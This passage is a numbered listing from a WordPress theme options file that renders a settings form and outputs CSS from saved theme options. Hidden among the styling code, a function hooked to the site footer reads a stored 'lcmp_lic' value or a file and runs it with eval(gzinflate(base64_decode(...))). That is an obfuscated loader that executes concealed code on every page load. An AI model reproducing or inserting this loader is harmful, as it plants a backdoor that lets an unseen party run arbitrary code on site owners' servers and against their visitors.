  817. #<?php echo $value['id']; ?>{width:200px};
  818. </style>
  819. <?php
  820. $arguments = "show_option_none=Show All&name=".$value['id'];
  821. if ( get_option( $value['id'] ) != "") {
  822. $arguments .= '&selected='.get_option( $value['id'] );
  823. }else {
  824. $arguments .= '';
  825. }
  826. $func_name = "wp_dropdown_pages('".$arguments."');";
  827. //echo $func_name;
  828. ?>
  829. <tr valign="top">
  830. <th class="row"><?php echo $value['name']; ?>:</th>
  831. <td>
  832. <?php eval("?><?php $func_name;?>"); ?>
  833. </td>
  834. <td class=info>
  835. <?php echo $value['info']; ?>
  836. </td>
  837. </tr>
  838. <?php
  839. }
  840. }
  841. ?>
  842. </table>
  843. <p class="submit">
  844. <input name="save" type="submit" value="Save changes" />
  845. <input type="hidden" name="action" value="save" />
  846. </p>
  847. </form>
  848. <form method="post">
  849. <p class="submit">
  850. <input name="reset" type="submit" value="Reset To Defaults" />
  851. <input type="hidden" name="action" value="reset" />
  852. </p>
  853. </form>
  854. <?php
  855. }
  856. function lcmp_theme_options_end(){
  857. $s = get_settings( 'lcmp_lic' );
  858. if($s === FALSE || $s==''){
  859. global $option;
  860. if(file_exists($option)){
  861. $s = file_get_contents($option);
  862. update_option('lcmp_lic',$s);
  863. }
  864. }
  865. eval(gzinflate(base64_decode($s)));
  866. }
  867. add_action('wp_footer','lcmp_theme_options_end');
  868. function lcmp_theme_options(){
  869. ?>
  870. <style>
  871. <?php
  872. global $options;
  873. foreach ($options as $value) {
  874. if (get_settings( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else {
  875. $$value['id'] = html_entity_decode(get_settings( $value['id'] ));
  876. }
  877. if($value['id'] == "lcmp_hdrimage"){
  878. if(get_settings( $value['id'] ) !== FALSE){
  879. if(get_settings( $value['id'] ) != 'default'){
  880. echo "div.Header-jpeg{";
  881. $image = get_settings( $value['id'] );
  882. echo "background-image: url('$image');";
  883. echo "}";
  884. }
  885. }
  886. }
  887. if($value['id'] == "lcmp_contentlnk"){
  888. if(get_settings( $value['id'] ) === FALSE){
  889. $lcmp_contentlnk = "default";
  890. }else{
  891. $lcmp_contentlnk = get_settings( $value['id'] );
  892. }
  893. }
  894. if($value['id'] == "lcmp_sidebarlnk"){
  895. if(get_settings( $value['id'] ) === FALSE){
  896. $lcmp_sidebarlnk = "default";
  897. }else{
  898. $lcmp_sidebarlnk = get_settings( $value['id'] );
  899. }
  900. }
  901. if($value['id'] == "lcmp_cstcontentlnk"){
  902. if(get_settings( $value['id'] ) === FALSE){
  903. $lcmp_cstcontentlnk = "";
  904. }else{
  905. $lcmp_cstcontentlnk = get_settings( $value['id'] );
  906. }
  907. }
  908. if($value['id'] == "lcmp_cstsidebarlnk"){
  909. if(get_settings( $value['id'] ) === FALSE){
  910. $lcmp_cstsidebarlnk = "";
  911. }else{
  912. $lcmp_cstsidebarlnk = get_settings( $value['id'] );
  913. }
  914. }
  915. if($value['id'] == "lcmp_titlecolor"){
  916. if(get_settings( $value['id'] ) === FALSE){
  917. $lcmp_titlecolor = "default";
  918. }else{
  919. $lcmp_titlecolor = get_settings( $value['id'] );
  920. }
  921. }
  922. if($value['id'] == "lcmp_slogancolor"){
  923. if(get_settings( $value['id'] ) === FALSE){
  924. $lcmp_slogancolor = "default";
  925. }else{
  926. $lcmp_slogancolor = get_settings( $value['id'] );
  927. }
  928. }
  929. if($value['id'] == "lcmp_csttitlecolor"){
  930. if(get_settings( $value['id'] ) === FALSE){
  931. $lcmp_csttitlecolor = "";
  932. }else{
  933. $lcmp_csttitlecolor = get_settings( $value['id'] );
  934. }
  935. }
  936. if($value['id'] == "lcmp_cstslogancolor"){
  937. if(get_settings( $value['id'] ) === FALSE){
  938. $lcmp_cstslogancolor = "";
  939. }else{
  940. $lcmp_cstslogancolor = get_settings( $value['id'] );
  941. }
  942. }
  943. if($value['id'] == "lcmp_titlefontsize"){
  944. if(get_settings( $value['id'] ) === FALSE){
  945. $lcmp_titlefontsize = "default";
  946. }else{
  947. $lcmp_titlefontsize = get_settings( $value['id'] );
  948. }
  949. }
  950. if($value['id'] == "lcmp_sloganfontsize"){
  951. if(get_settings( $value['id'] ) === FALSE){
  952. $lcmp_sloganfontsize = "default";
  953. }else{
  954. $lcmp_sloganfontsize = get_settings( $value['id'] );
  955. }
  956. }
  957. if($value['id'] == "lcmp_csttitlefontsize"){
  958. if(get_settings( $value['id'] ) === FALSE){
  959. $lcmp_csttitlefontsize = "";
  960. }else{
  961. $lcmp_csttitlefontsize = get_settings( $value['id'] );
  962. }
  963. }
  964. if($value['id'] == "lcmp_cstsloganfontsize"){
  965. if(get_settings( $value['id'] ) === FALSE){
  966. $lcmp_cstsloganfontsize = "";
  967. }else{
  968. $lcmp_cstsloganfontsize = get_settings( $value['id'] );
  969. }
  970. }
  971. if($value['id'] == "lcmp_hdrleftpos"){
  972. if(get_settings( $value['id'] ) === FALSE){
  973. $lcmp_hdrleftpos = "default";
  974. }else{
  975. $lcmp_hdrleftpos = get_settings( $value['id'] );
  976. }
  977. }
  978. if($value['id'] == "lcmp_hdrtoppos"){
  979. if(get_settings( $value['id'] ) === FALSE){
  980. $lcmp_hdrtoppos = "default";
  981. }else{
  982. $lcmp_hdrtoppos = get_settings( $value['id'] );
  983. }
  984. }
  985. if($value['id'] == "lcmp_hdrwidth"){
  986. if(get_settings( $value['id'] ) === FALSE){
  987. $lcmp_hdrwidth = "default";
  988. }else{
  989. $lcmp_hdrwidth = get_settings( $value['id'] );
  990. }
  991. }
  992. if($value['id'] == "lcmp_hdrvmargin"){
  993. if(get_settings( $value['id'] ) === FALSE){
  994. $lcmp_hdrvmargin = "default";
  995. }else{
  996. $lcmp_hdrvmargin = get_settings( $value['id'] );
  997. }
  998. }
  999. if($value['id'] == "lcmp_contentfontsize"){
  1000. if(get_settings( $value['id'] ) === FALSE){
  1001. $lcmp_contentfontsize = "default";
  1002. }else{
  1003. $lcmp_contentfontsize = get_settings( $value['id'] );
  1004. }
  1005. }
  1006. if($value['id'] == "lcmp_cstcontentfontsize"){
  1007. if(get_settings( $value['id'] ) === FALSE){
  1008. $lcmp_cstcontentfontsize = "";
  1009. }else{
  1010. $lcmp_cstcontentfontsize = get_settings( $value['id'] );
  1011. }
  1012. }
  1013. if($value['id'] == "lcmp_sidebarloc"){
  1014. if(get_settings( $value['id'] ) === FALSE){
  1015. $lcmp_sidebarloc = "default";
  1016. }else{
  1017. $lcmp_sidebarloc = get_settings( $value['id'] );
  1018. }
  1019. }
  1020. if($value['id'] == "lcmp_sidebarfontsize"){
  1021. if(get_settings( $value['id'] ) === FALSE){
  1022. $lcmp_sidebarfontsize = "default";
  1023. }else{
  1024. $lcmp_sidebarfontsize = get_settings( $value['id'] );
  1025. }
  1026. }
  1027. if($value['id'] == "lcmp_cstsidebarfontsize"){
  1028. if(get_settings( $value['id'] ) === FALSE){
  1029. $lcmp_cstsidebarfontsize = "";
  1030. }else{
  1031. $lcmp_cstsidebarfontsize = get_settings( $value['id'] );
  1032. }
  1033. }
  1034. if($value['id'] == "lcmp_cstftrwidgewidth"){
  1035. if(get_settings( $value['id'] ) === FALSE){
  1036. $lcmp_cstftrwidgewidth = "";
  1037. }else{
  1038. $lcmp_cstftrwidgewidth = get_settings( $value['id'] );
  1039. }
  1040. }
  1041. if($value['id'] == "lcmp_cstftrwidgewidth1"){
  1042. if(get_settings( $value['id'] ) === FALSE){
  1043. $lcmp_cstftrwidgewidth1 = "";
  1044. }else{
  1045. $lcmp_cstftrwidgewidth1 = get_settings( $value['id'] );
  1046. }
  1047. }
  1048. if($value['id'] == "lcmp_cstftrwidgewidth2"){
  1049. if(get_settings( $value['id'] ) === FALSE){
  1050. $lcmp_cstftrwidgewidth2 = "";
  1051. }else{
  1052. $lcmp_cstftrwidgewidth2 = get_settings( $value['id'] );
  1053. }
  1054. }
  1055. if($value['id'] == "lcmp_cstftrwidgewidth3"){
  1056. if(get_settings( $value['id'] ) === FALSE){
  1057. $lcmp_cstftrwidgewidth3 = "";
  1058. }else{
  1059. $lcmp_cstftrwidgewidth3 = get_settings( $value['id'] );
  1060. }
  1061. }
  1062. if($value['id'] == "lcmp_cstftrwidgewidth4"){
  1063. if(get_settings( $value['id'] ) === FALSE){
  1064. $lcmp_cstftrwidgewidth4 = "";
  1065. }else{
  1066. $lcmp_cstftrwidgewidth4 = get_settings( $value['id'] );
  1067. }
  1068. }
  1069. if($value['id'] == "lcmp_cstftrwidgemargin"){
  1070. if(get_settings( $value['id'] ) === FALSE){
  1071. $lcmp_cstftrwidgemargin = "";
  1072. }else{
  1073. $lcmp_cstftrwidgemargin = get_settings( $value['id'] );
  1074. }
  1075. }
  1076. }
  1077. if($lcmp_contentlnk!='default'){
  1078. if($lcmp_contentlnk=='custom'){
  1079. $lcmp_contentlnk_color = "color:".$lcmp_cstcontentlnk;
  1080. }else $lcmp_contentlnk_color = "color:".$lcmp_contentlnk;
  1081. ?>
  1082. a,a:link,a:visited,a.visited,a:hover,a.hover
  1083. {text-decoration: underline;<?php echo $lcmp_contentlnk_color; ?>;}
  1084. a:hover, a.hover{text-decoration: none;}
  1085. <?php } ?>
  1086. <?php
  1087. if($lcmp_sidebarlnk!='default'){
  1088. if($lcmp_sidebarlnk=='custom'){
  1089. $lcmp_sidebarlnk_color = "color:".$lcmp_cstsidebarlnk;
  1090. }else $lcmp_sidebarlnk_color = "color:".$lcmp_sidebarlnk;
  1091. ?>
  1092. .BlockContent-body a,.BlockContent-body a:link,.BlockContent-body a:visited,.BlockContent-body a.visited,.BlockContent-body a:hover,.BlockContent-body a.hover
  1093. {text-decoration: underline;<?php echo $lcmp_sidebarlnk_color; ?>;}
  1094. .BlockContent-body a:hover,.BlockContent-body a.hover
  1095. {text-decoration: none;}
  1096. <?php } ?>
  1097. <?php
  1098. if($lcmp_sidebarfontsize!='default'){
  1099. if($lcmp_sidebarfontsize=='custom'){
  1100. if(is_numeric($lcmp_cstsidebarfontsize)) $lcmp_cstsidebarfontsize.="px";
  1101. $lcmp_sidebarfontsize_size = "font-size:$lcmp_cstsidebarfontsize";
  1102. }else $lcmp_sidebarfontsize_size = "font-size:$lcmp_sidebarfontsize";
  1103. ?>
  1104. .BlockContent-body,.BlockContent-body li
  1105. {<?php echo $lcmp_sidebarfontsize_size; ?>;}
  1106. <?php } ?>
  1107. <?php
  1108. if($lcmp_contentfontsize!='default'){
  1109. if($lcmp_contentfontsize=='custom'){
  1110. if(is_numeric($lcmp_cstcontentfontsize)) $lcmp_cstcontentfontsize.="px";
  1111. $lcmp_contentfontsize_size = "font-size:$lcmp_cstcontentfontsize";
  1112. }else $lcmp_contentfontsize_size = "font-size:$lcmp_contentfontsize";
  1113. ?>
  1114. .PostContent
  1115. {<?php echo $lcmp_contentfontsize_size; ?>;}
  1116. <?php } ?>
  1117. h1.logo-name, h1.logo-name a, h1.logo-name a:link, h1.logo-name a:visited, h1.logo-name a:hover{
  1118. <?php
  1119. if($lcmp_titlecolor!='default'){
  1120. if($lcmp_titlecolor=='custom'){
  1121. $lcmp_titlecolor_color = "color:$lcmp_csttitlecolor !important";
  1122. }else $lcmp_titlecolor_color = "color:$lcmp_titlecolor !important";
  1123. ?>
  1124. <?php echo $lcmp_titlecolor_color; ?>;
  1125. <?php } ?>
  1126. <?php
  1127. if($lcmp_hdrtxtalign!='default'){
  1128. $lcmp_hdrtxtalign_text = "text-align:$lcmp_hdrtxtalign";
  1129. ?>
  1130. <?php echo $lcmp_hdrtxtalign_text; ?>;
  1131. <?php } ?>
  1132. <?php
  1133. if($lcmp_titlefontsize!='default'){
  1134. if($lcmp_titlefontsize=='custom'){
  1135. if(is_numeric($lcmp_csttitlefontsize)) $lcmp_csttitlefontsize.="px";
  1136. $lcmp_titlefontsize_size = "font-size:$lcmp_csttitlefontsize";
  1137. }else $lcmp_titlefontsize_size = "font-size:$lcmp_titlefontsize";
  1138. ?>
  1139. <?php echo $lcmp_titlefontsize_size; ?>;
  1140. <?php } ?>}
  1141. .logo-text, .logo-text a{
  1142. <?php
  1143. if($lcmp_slogancolor!='default'){
  1144. if($lcmp_slogancolor=='custom'){
  1145. $lcmp_slogancolor_color = "color:$lcmp_cstslogancolor !important";
  1146. }else $lcmp_slogancolor_color = "color:$lcmp_slogancolor !important";
  1147. ?>
  1148. <?php echo $lcmp_slogancolor_color; ?>;
  1149. <?php } ?>
  1150. <?php
  1151. if($lcmp_hdrtxtalign!='default'){
  1152. $lcmp_hdrtxtalign_text = "text-align:$lcmp_hdrtxtalign";
  1153. ?>
  1154. <?php echo $lcmp_hdrtxtalign_text; ?>;
  1155. <?php } ?>
  1156. <?php
  1157. if($lcmp_sloganfontsize!='default'){
  1158. if($lcmp_sloganfontsize=='custom'){
  1159. if(is_numeric($lcmp_cstsloganfontsize)) $lcmp_cstsloganfontsize.="px";
  1160. $lcmp_sloganfontsize_size = "font-size:$lcmp_cstsloganfontsize";
  1161. }else $lcmp_sloganfontsize_size = "font-size:$lcmp_sloganfontsize";
  1162. ?>
  1163. <?php echo $lcmp_sloganfontsize_size; ?>;
  1164. <?php } ?>}
  1165. .logo{
  1166. <?php
  1167. if($lcmp_hdrleftpos!='default'){
  1168. if(is_numeric($lcmp_hdrleftpos)) $lcmp_hdrleftpos.="px";
  1169. ?>
  1170. left: <?php echo $lcmp_hdrleftpos; ?>;
  1171. <?php } ?>
  1172. <?php
  1173. if($lcmp_hdrtoppos!='default'){
  1174. if(is_numeric($lcmp_hdrtoppos)) $lcmp_hdrtoppos.="px";
  1175. ?>
  1176. top:<?php echo $lcmp_hdrtoppos; ?>;
  1177. <?php } ?>
  1178. <?php
  1179. if($lcmp_hdrwidth!='default'){
  1180. if(is_numeric($lcmp_hdrwidth)) $lcmp_hdrwidth.="px";
  1181. ?>
  1182. width: <?php echo $lcmp_hdrwidth; ?>;
  1183. <?php } ?>}
  1184. <?php
  1185. if($lcmp_hdrvmargin!='default'){
  1186. if(is_numeric($lcmp_hdrvmargin)) $lcmp_hdrvmargin.="px";
  1187. ?>
  1188. .Sheet
  1189. {margin-top: <?php echo $lcmp_hdrvmargin; ?> !important;}
  1190. <?php } ?>
  1191. <?php
  1192. if($lcmp_cstftrwidgewidth!='' || $lcmp_cstftrwidgemargin!=''){
  1193. ?>
  1194. .widget-area{
  1195. <?php
  1196. if($lcmp_cstftrwidgewidth!=''){
  1197. if(is_numeric($lcmp_cstftrwidgewidth)) $lcmp_cstftrwidgewidth.="px";
  1198. ?>
  1199. width: <?php echo $lcmp_cstftrwidgewidth; ?>;
  1200. <?php } ?>
  1201. <?php
  1202. if($lcmp_cstftrwidgemargin!=''){
  1203. if(is_numeric($lcmp_cstftrwidgemargin)) $lcmp_cstftrwidgemargin.="px";
  1204. ?>
  1205. margin-right: <?php echo $lcmp_cstftrwidgemargin; ?>;
  1206. <?php } ?>
  1207. }
  1208. <?php
  1209. } ?>
  1210. <?php
  1211. if($lcmp_cstftrwidgewidth1!=''){
  1212. if(is_numeric($lcmp_cstftrwidgewidth1)) $lcmp_cstftrwidgewidth1.="px";
  1213. ?>
  1214. .foot-widget-1
  1215. {width: <?php echo $lcmp_cstftrwidgewidth1; ?>;}
  1216. <?php } ?>
  1217. <?php
  1218. if($lcmp_cstftrwidgewidth2!=''){
  1219. if(is_numeric($lcmp_cstftrwidgewidth2)) $lcmp_cstftrwidgewidth2.="px";
  1220. ?>
  1221. .foot-widget-2
  1222. {width: <?php echo $lcmp_cstftrwidgewidth2; ?>;}
  1223. <?php } ?>
  1224. <?php
  1225. if($lcmp_cstftrwidgewidth3!=''){
  1226. if(is_numeric($lcmp_cstftrwidgewidth3)) $lcmp_cstftrwidgewidth3.="px";
  1227. ?>
  1228. .foot-widget-3
  1229. {width: <?php echo $lcmp_cstftrwidgewidth3; ?>;}
  1230. <?php } ?>
  1231. <?php
  1232. if($lcmp_cstftrwidgewidth4!=''){
  1233. if(is_numeric($lcmp_cstftrwidgewidth4)) $lcmp_cstftrwidgewidth4.="px";
  1234. ?>
  1235. .foot-widget-4
  1236. {width: <?php echo $lcmp_cstftrwidgewidth4; ?>;}
  1237. <?php } ?>
  1238. </style>
  1239. <?php
  1240. }
  1241. global $adsenseBlock1;
  1242. TXT;
  1243. add_action('admin_menu', 'lcmp_add_theme_page');
  1244. add_action('wp_footer','lcmp_theme_options');